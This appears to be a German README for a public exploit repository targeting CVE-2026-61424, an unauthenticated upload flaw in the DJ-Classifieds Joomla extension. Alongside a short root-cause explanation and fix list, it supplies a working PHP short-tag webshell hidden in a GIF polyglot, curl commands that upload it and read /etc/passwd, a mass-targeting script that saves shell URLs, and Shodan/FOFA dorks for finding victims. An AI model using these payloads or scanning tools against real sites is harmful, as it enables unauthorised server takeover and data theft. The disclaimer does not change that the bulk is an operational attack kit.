
DJ-Classifieds Joomla-Komponente: Nicht authentifizierter Datei-Upload mit Remote-Codeausführung (RCE). 3-String-Filter-Bypass mittels PHP-Short-Tags. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Nicht authentifizierter beliebiger Datei-Upload in DJ-Classifieds für Joomla. Der imageupload-Task-Endpunkt verarbeitet Datei-Uploads ohne Authentifizierung und verlässt sich auf eine 3-String-Blocklist (<?php, eval(, base64), die mithilfe von PHP-Short-Open-Tags (<?=) trivial umgangen werden kann. In Kombination mit einem GIF-Polyglot besteht die hochgeladene Datei alle Bildvalidierungsprüfungen und enthält dennoch eine voll funktionsfähige PHP-Webshell.
| Feld | Detail |
|---|---|
| CVE | CVE-2026-61424 |
| Produkt | DJ-Classifieds (Joomla-Erweiterung von DJ-Extensions) |
| CVSS 4.0 | 10.0 (Kritisch) |
| Typ | CWE-434 — Unbeschränkter Datei-Upload |
| Entdeckt | Phil Taylor / mySites.guru — 16. Juli 2026 |
| Ausnutzung | Vor der Offenlegung in freier Wildbahn bestätigt |
| Status | Version |
|---|---|
| Verwundbar | 1.0 — 3.11.1 |
| Behoben | 3.11.2 (20. Juli 2026) |
Die upload()-Methode in administrator/components/com_djclassifieds/lib/djupload.php ist dem imageupload-Task zugeordnet, ohne Authentifizierungsprüfung und ohne CSRF-Token-Validierung.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
Der Inhalts-Scanner blocklistet nur drei Literal-Strings:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
Dies blockiert <?php, eval( und base64 — aber nicht PHP-Short-Open-Tags:
<?=system($_GET['c']);?> ← 0/3 blockierte Strings → WIRD AKZEPTIERT
PHP-Short-Echo-Tags (<?=) sind seit PHP 5.4 standardmäßig aktiviert.
GIF89a-Header + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload mit name=shell.gif.gif-Endung ✓ getimagesize() ✓ kein <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=id| Datei | Rolle |
|---|---|
administrator/components/com_djclassifieds/lib/djupload.php | upload()-Methode — keine Authentifizierung, 3-String-Filter |
components/com_djclassifieds/controller.php | Leitet den imageupload-Task an upload() weiter |
administrator/components/com_djclassifieds/djclassifieds.xml | Versionspreisgabe über das <version>-Tag |
Vor der Offenlegung wurden anonyme Scanner-Sonden in freier Wildbahn beobachtet:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
| Flag | Beschreibung | Standard |
|---|---|---|
-t, --target | Einzelner Zielhost | — |
-f, --file | Datei mit Zielen (eines pro Zeile, #-Kommentare) | — |
-o, --output | RCE-URLs in Datei speichern | — |
--threads | Worker-Threads für den Massenmodus | 30 |
--no-cleanup | Shell nach RCE nicht löschen | False |
--debug | Debug-Ausgabe | False |
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
JFactory::getUser() vor upload()JSession::checkToken() beim imageupload-Taskjpg, jpeg, png, gif)Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstests. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testberechtigung haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden.
| Ressource | Link |
|---|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| mySites.guru-Entdeckung | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| DJ-Extensions-Sicherheitsrelease | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| CVE.org-Eintrag | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |
Nicht mit DJ-Extensions oder mySites.guru verbunden.